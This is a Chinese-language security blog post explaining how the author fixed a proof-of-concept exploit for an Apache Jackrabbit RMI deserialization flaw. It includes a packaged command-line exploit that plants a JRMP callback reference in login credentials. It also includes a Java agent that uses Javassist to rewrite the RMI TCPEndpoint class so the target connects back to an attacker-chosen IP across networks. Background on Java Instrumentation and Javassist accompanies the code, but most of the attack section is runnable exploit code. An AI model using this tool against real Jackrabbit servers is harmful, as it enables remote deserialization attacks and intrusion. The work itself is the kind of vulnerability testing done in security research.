Instrument插桩技术来埋Jackrabbit的坑

用Java Instrument插桩技术来埋Jackrabbit的坑

起因:

前段时间在博客上分享过Jackrabbit的反序列化漏洞,也写好了POC。因为是POC我就没有用CB链,而是用RMI的JRMP去做回连进行检测。往往最悠闲的时候就是最危险的时候。这个时候师父在复测POC的时候发现POC竟然打不了,,,,,,,师父说让我尽量在测试的时候不要在本地测。就因为这一句话,才有我们今天的文章(先附上JRMP的POC)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
String targetUrl = "http://10.65.14.247:8080/rmi";

String host= "10.65.14.146";//回连
int port = 7878;
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
UnicastRef unicastRef = new sun.rmi.server.UnicastRef(liveRef);

SimpleCredentials exp = new SimpleCredentials("admin","admin".toCharArray());
exp.setAttribute( "admin111",unicastRef);
Repository repository = new URLRemoteRepository(targetUrl);//目标地址 eg: http://10.65.14.247:8080/rmi

repository.login(exp);

我当时怀着忐忑的心情,重新测了一下。发现确实打不了。这时候我就在想为什么会打不通。我先给大家理一下他们之间的通信过程(假设我们在客户端开启JRMP监听)。

image-20230928160652243

解释:

  1. 首先客户端先将恶意payload发送给服务端。
  2. 服务端处理后先返回RemoteRepositoryxr的IP和端口
  3. 客户端请求连接服务端RemoteRepositoryxr的IP和端口
  4. 服务端JRMP回连

整体流程大概是这样的。但是问题出在了第2步。我们看看具体的代码逻辑。

image-20230928161611082

image-20230928161707638

看过我之前RMI文章的朋友应该对这个类有印象。再往里跟发现来到了TCPEndPoint发现再构造方法赋值:

image-20230928162050472

我们可以看到两个参数的构造方法被调用,里面再调四个参数的构造方法,最后再给全局变量赋值。眼见的朋友已经发现问题了。服务端返回给我们的是IP地址是”192.168.56.1“,也就是说客户端接收到的是个私有地址,那客户端每次发起第四次请求的IP地址也就是这个私有地址。这怎么能访问到呢????

反思

现在我们梳理一下问题:

  1. 客户端接收的IP是私有IP,没办法到达客户端
  2. 返回的端口是随机端口,所以不能发两次请求

这个就是我们在本地测试能成功的原因。因为它返回的这个地址是VirtualBox的Host-Only,本地访问肯定是可以执行的

1
2
3
4
5
6
7
Ethernet adapter VirtualBox Host-Only Network:

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::b684:6aef:25bc:e545%9
IPv4 Address. . . . . . . . . . . : 192.168.56.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :

那我们该怎么解决这个问题呢?

  1. 编写youdebug进行更改 (简单易操作) 官网有使用方法

  2. 用IDEA手动对IP进行set (不太现实,需要自动化)

  3. 利用JavaAgent+Javassist进行插桩 (正好合适)

JavaAgent

概念:

JDK1.5开始,Java新增了Instrumentation(Java Agent API)JVMTI(JVM Tool Interface)功能,允许JVM在加载某个class文件之前对其字节码进行修改,同时也支持对已加载的class(类字节码)进行重新加载(Retransform)。

利用Java Agent这一特性衍生出了APM(Application Performance Management,应用性能管理)RASP(Runtime application self-protection,运行时应用自我保护)IAST(Interactive Application Security Testing,交互式应用程序安全测试)等相关产品,它们都无一例外的使用了Instrumentation/JVMTIAPI来实现动态修改Java类字节码并插入监控或检测代码。

Java Agent有两种运行模式:

  1. 启动Java程序时添加-javaagent(Instrumentation API实现方式)-agentpath/-agentlib(JVMTI的实现方式)参数,如java -javaagent:/data/XXX.jar LingXeTest
  2. JDK1.6新增了attach(附加方式)方式,可以对运行中的Java进程附加Agent

这两种运行方式的最大区别在于第一种方式只能在程序启动时指定Agent文件,而attach方式可以在Java程序运行后根据进程ID动态注入AgentJVM

Java Agent还限制了我们必须以jar包的形式运行或加载,我们必须将编写好的Agent程序打包成一个jar文件。除此之外,Java Agent还强制要求了所有的jar文件中必须包含/META-INF/MANIFEST.MF文件,且该文件中必须定义好Premain-Class(Agent模式)或Agent-Class:(Agent模式)配置,如:

1
2
Premain-Class: com.anbai.sec.agent.CrackLicenseAgent
Agent-Class: com.anbai.sec.agent.CrackLicenseAgent

如果我们需要修改已经被JVM加载过的类的字节码,那么还需要设置在MANIFEST.MF中添加Can-Retransform-Classes: trueCan-Redefine-Classes: true

简单来说Anegt就相当于是一个代理一样,我们知道java文件执行的时候先是.java文件被编译成.class文件,然后JVM利用类加载器加载.class文件。这样java代码才会被执行。而Agent的作用就是在加载之前先获取到.class文件,然后对其进行操作,在给他放行,让他按我们修改后的文件执行。

其实最主要的就是下面两个方法:

1
2
public static void premain(String args, Instrumentation inst) {}
public static void agentmain(String args, Instrumentation inst) {}

我们正常java代码都有main方法,而这两个方法就是Agnet的main方法。

接收两个参数:

args:如果我们需要给Agent传入参数,就可以通过–javaagent后传入(稍后会有例子)

inst:由JVM自动传入

Instrumentation

主要看这个Instrumentation的方法(本篇主要用addTransformer方法):

img

ClassFileTransformer

java.lang.instrument.ClassFileTransformer是一个转换类文件的代理接口,我们可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器。

示例中我们使用了addTransformer注册了一个我们自定义的TransformerJava Agent,当有新的类被JVM加载时JVM会自动回调用我们自定义的Transformer类的transform方法,传入该类的transform信息(类名、类加载器、类字节码等),我们可以根据传入的类信息决定是否需要修改类字节码,修改完字节码后我们将新的类字节码返回给JVMJVM会验证类和相应的修改是否合法,如果符合类加载要求JVM会加载我们修改后的类字节码。

ClassFileTransformer类代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package java.lang.instrument;

public interface ClassFileTransformer {

/**
* 类文件转换方法,重写transform方法可获取到待加载的类相关信息
*
* @param loader 定义要转换的类加载器;如果是引导加载器,则为 null
* @param className 类名,如:java/lang/Runtime
* @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
* @param protectionDomain 要定义或重定义的类的保护域
* @param classfileBuffer 类文件格式的输入字节缓冲区(不得修改)
* @return 字节码byte数组。
*/
byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer);

}

简单讲就是,我们需要实现这个接口并重写transform方法。而这个transform方法简单来说就是给你想要的.class文件,你修改之后再把修改之后的.class文件返回给它让他继续执行(网上看了很多文章,没有一个把这个方法讲清楚的)

Javassist

概念:

Javassist 是一个开源的分析、编辑和创建Java字节码的类库. 其主要优点在于简单快速. 直接使用 java 编码的形式, 而不需要了解虚拟机指令, 就能动态改变类的结构, 或者动态生成类.

Javassist中最为重要的是ClassPool,CtClass, CtMethod以及CtField这几个类.

  • ClassPool: 一个基于Hashtable实现的CtClass对象容器, 其中键是类名称, 值是表示该类的CtClass对象
  • CtClass: CtClass表示类, 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得
  • CtMethods: 表示类中的方法
  • CtFields: 表示类中的字段

ClassPool

  • getDefault: 返回默认的ClassPool是单例模式的,一般通过该方法创建我们的ClassPool
  • appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
  • toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClasstoClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
  • get , getCtClass: 根据类路径名获取该类的CtClass对象,用于后续的编辑。
1
2
3
4
// 获取ClassPool对象, 使用系统默认类路径
ClassPool pool = new ClassPool(true);
// 效果与 new ClassPool(true) 一致
ClassPool pool1 = ClassPool.getDefault();

为减少ClassPool可能导致的内存消耗. 可以从ClassPool中删除不必要的CtClass对象. 或者每次创建新的ClassPool对象.

1
2
3
4
// 从ClassPool中删除CtClass对象
ctClass.detach();
// 也可以每次创建一个新的ClassPool, 而不是ClassPool.getDefault(), 避免内存溢出
ClassPool pool2 = new ClassPool(true);

CtClass

  • freeze: 冻结一个类,使其不可修改;
  • isFrozen : 判断一个类是否已被冻结;
  • prune : 删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用;
  • defrost : 解冻一个类,使其可以被修改。如果事先知道一个类会被defrost, 则禁止调用 prune 方法;
  • detach : 将该class从ClassPool中删除;
  • writeFile : 根据CtClass生成 .class 文件;
  • toClass : 通过类加载器加载该CtClass。
  • setInterfaces: 添加父接口
  • setSuperclass: 添加父类

其他详细用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 通过类名获取 CtClass, 未找到会抛出异常
CtClass ctClass = pool.get("com.kawa.ssist.JustRun");
// 通过类名获取 CtClass, 未找到返回 null, 不会抛出异常
CtClass ctClass1 = pool.getOrNull("com.kawa.ssist.JustRun");
// 复制一个类
CtClass ctClass2 = pool.getAndRename("com.kawa.ssist.JustRun", "com.kawa.ssist.JustRunq");
// 创建一个新类
CtClass ctClass3 = pool.makeClass("com.kawa.ssist.JustRuna");
// 通过class文件创建一个新类
CtClass ctClass4 = pool.makeClass(new FileInputStream(new File("/home/un/test/JustRun.class")));
// 添加接口
ctClass.addInterface(...);
// 添加构造器
ctClass.addConstructor(...);
// 添加字段
ctClass.addField(...);
// 添加方法
ctClass.addMethod(...);
// 获取字节码文件 需要注意的是一旦调用该方法,则无法继续修改已经被加载的class
Class clazz = ctClass.toClass();
// 类的字节码文件
ClassFile classFile = ctClass.getClassFile();
// 编译成字节码文件, 使用当前线程上下文类加载器加载类, 如果类已存在或者编译失败将抛出异常
byte[] bytes = ctClass.toBytecode();

CtMethods/CtConstructor

  • insertBefore : 在方法的起始位置插入代码;
  • insterAfter : 在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception;
  • insertAt : 在指定的位置插入代码;
  • setBody: 将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除;
  • make : 创建一个新的方法。

其他详细用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//**获取CtMethod属性*/
CtClass ctClass5 = pool.get(TestService.class.getName());
CtMethod ctMethod = ctClass5.getDeclaredMethod("selectOrder");
// 方法名
String methodName = ctMethod.getName();
// 返回类型
CtClass returnType = ctMethod.getReturnType();
// 方法参数, 通过此种方式得到方法参数列表
// 格式: com.kawa.TestService.getOrder(java.lang.String,java.util.List)
ctMethod.getLongName();
// 方法签名 格式: (Ljava/lang/String;Ljava/util/List;Lcom/test/Order;)Ljava/lang/Integer;
ctMethod.getSignature();

// 获取方法参数名称, 可以通过这种方式得到方法真实参数名称
List<String> argKeys = new ArrayList<>();
MethodInfo methodInfo = ctMethod.getMethodInfo();
CodeAttribute codeAttribute = methodInfo.getCodeAttribute();
LocalVariableAttribute attr = (LocalVariableAttribute) codeAttribute.getAttribute(LocalVariableAttribute.tag);
int len = ctMethod.getParameterTypes().length;
// 非静态的成员函数的第一个参数是this
int pos = Modifier.isStatic(ctMethod.getModifiers()) ? 0 : 1;
for (int i = pos; i < len; i++) {
argKeys.add(attr.variableName(i));
}


//*CtMethod方法体修改*//
// 在方法体前插入代码块
ctMethod.insertBefore("");
// 在方法体后插入代码块
ctMethod.insertAfter("");
// 在某行 字节码 后插入代码块
ctMethod.insertAt(10, "");
// 添加参数
ctMethod.addParameter(CtClass);
// 设置方法名
ctMethod.setName("newName");
// 设置方法体 $0=this / $1,$2,$3... 代表方法参数
ctMethod.setBody("{$0.name = $1;}");
//创建一个新的方法
ctMethod.make("kawa",CtClass);

CtFields

1
2
3
4
5
6
//新建一个名为A,权限修饰符为public,类型为String,值为B的变量
CtField param1 = new CtField(pool.get("java.lang.String"), "A", ctClass);
param1.setModifiers(Modifier.PUBLIC);
ctClass.addField(param1, CtField.Initializer.constant("B"));

//这里只用到这个就先写这个吧,还有根据变量名获取变量进行修改的太多了就不写了,网上都能找到。。只有这个不好找所以就写出来。

实操

思路:

  • 创建Agent(premain和transform)将sun.rmi.transport.tcp.TCPEndpointHOOK
  • 在transform处将HOOK的TCPEndpoint进行修改(我们这里的需求只用改它的四参构造方法)
  • 将修改后的.class文件返回给transform
  • 将Agent打jar包并配置resources\META-INF\MANIFEST.MF
  • 把poc打包并接收targeturl、callbackip、callbackport参数

JRMP包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package test;

import sun.rmi.server.UnicastRef;
import org.apache.commons.cli.*;
import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;
import javax.jcr.Repository;
import javax.jcr.RepositoryException;
import javax.jcr.SimpleCredentials;
import java.net.MalformedURLException;



public class JRMP {
public static void main(String[] args) throws MalformedURLException, RepositoryException {
Options options = new Options();



Option targetUrlOption = new Option("tu", "targeturl", true, "Target URL");
targetUrlOption.setRequired(true);
options.addOption(targetUrlOption);

Option callbackIpOption = new Option("ci", "callbackip", true, "Callback IP address");
callbackIpOption.setRequired(true);
options.addOption(callbackIpOption);

Option callbackPortOption = new Option("cp", "callbackport", true, "Callback port");
callbackPortOption.setType(Integer.class);
callbackPortOption.setRequired(true);
options.addOption(callbackPortOption);

CommandLineParser parser = new DefaultParser();
HelpFormatter formatter = new HelpFormatter();

CommandLine cmd;
try {
cmd = parser.parse(options, args);
} catch (ParseException e) {
System.out.println(e.getMessage());
formatter.printHelp("Apache_jackrabbit_TRUE.jar", options);
System.exit(1);
return;
}

String targetUrl = cmd.getOptionValue("targeturl");
String callbackip = cmd.getOptionValue("callbackip");
int callbackport = Integer.parseInt(cmd.getOptionValue("callbackport"));


String host= callbackip;
int port = callbackport;
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
UnicastRef unicastRef = new sun.rmi.server.UnicastRef(liveRef);

SimpleCredentials exp = new SimpleCredentials("admin","admin".toCharArray());
exp.setAttribute( "admin111",unicastRef);
Repository repository = new URLRemoteRepository(targetUrl);//目标地址 //10.65.14.146本地 10.65.14.247远程 eg: http://10.65.14.247:8080/rmi

repository.login(exp);

// java -jar test.jar --targeturl="http://10.65.14.247:8080/rmi" --callbackip="10.65.14.146" --callbackport=7878


}
}

MANIFEST.MF:

1
2
3
4
Manifest-Version: 1.0
Main-Class: test.JRMP


Agent包

Mainagent.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Agent;

import java.lang.instrument.Instrumentation;

public class Mainagent {


public static void premain(String agentArgs, Instrumentation inst) {
//Agnet接收参数
String callbackip = null;
String targetip = null;
if (agentArgs != null && !agentArgs.isEmpty()) {
String[] args = agentArgs.split(",");
for (String arg : args) {
String[] keyValue = arg.split("=");
if (keyValue.length == 2 && keyValue[0].trim().equals("callbackip")) {
callbackip = keyValue[1].trim();
}
if (keyValue.length == 2 && keyValue[0].trim().equals("targetip")) {
targetip = keyValue[1].trim();
}
}
}
System.out.println("agnet proxy has start");
inst.addTransformer(new TAT(targetip, callbackip), true);//传入实现ClassFileTransformer的对象,后面必须传true,否则不允许修改
}
}

TAT.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package Agent;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class TAT implements ClassFileTransformer {
private static final String Hook_class = "sun/rmi/transport/tcp/TCPEndpoint";
private static final String Hook_class1 = "sun.rmi.transport.tcp.TCPEndpoint";
public String targetip;
public String callbackip;

public TAT(String targetip,String callbackip){
this.targetip = targetip;
this.callbackip = callbackip;
}
@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {

if (Hook_class.equals(className)){
//接收targetIP和callbackIP,用于比较
// Scanner scanner = new Scanner(System.in);
// System.out.print("Place input Callback_ip[String]");
// String callback_ip = scanner.nextLine();
// System.out.print("Place input Target_ip[String]");
// String target_ip = scanner.nextLine();

///////哈哈哈,当时想阻塞传值,后来发现可以这样传就没用上面那种了


ClassPool pool = ClassPool.getDefault();
CtClass ctClass;
try {
ctClass = pool.get(Hook_class1);
//添加targetip = 输入的目标地址
CtField param = new CtField(pool.get("java.lang.String"), "targetip", ctClass);
param.setModifiers(Modifier.PUBLIC);
ctClass.addField(param, CtField.Initializer.constant(targetip));

//添加callbackip = 输入的回连地址
CtField param1 = new CtField(pool.get("java.lang.String"), "callbackip", ctClass);
param1.setModifiers(Modifier.PUBLIC);
ctClass.addField(param1, CtField.Initializer.constant(callbackip));

System.out.println("TAT_____targetip:"+targetip);
System.out.println("TAT_____callbackip:"+callbackip);

//创建新构造方法并赋值
CtConstructor constructor = ctClass.getDeclaredConstructor(new CtClass[]{pool.get("java.lang.String"), CtClass.intType,pool.get("java.rmi.server.RMIClientSocketFactory"),pool.get("java.rmi.server.RMIServerSocketFactory")});
System.out.println("aaa");
constructor.setBody("{listenPort = -1;\n" +
" transport = null;\n" +
"\n" +
" if ($1 == callbackip) {\n" +
" $1 = $1;\n" +
" } else if ($1 ==null) {\n" +
" $1 = \"\";\n" +
" } else {\n" +
" $1 = this.targetip;\n" +
" }\n" +
"\n" +
" host =$1;\n" +
" port = $2;\n" +
" csf = $3;\n" +
" ssf = $4;}");
System.out.println("BBB");
// 将修改后的字节码保存到文件或应用程序中
ctClass.writeFile();
return ctClass.toBytecode();


} catch (NotFoundException | IOException | CannotCompileException e) {
throw new RuntimeException(e);
}


}
return classfileBuffer;
}

}

MANIFEST.MF:

1
2
3
4
5
6
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Can-Set-Native-Method-Prefix: true
Premain-Class: Agent.Mainagent

埋坑

image-20230928172819145


Instrument插桩技术来埋Jackrabbit的坑
http://example.com/2023/09/28/Instrument插桩技术来埋Jackrabbit的坑/
作者
Yuanyi
发布于
2023年9月28日
许可协议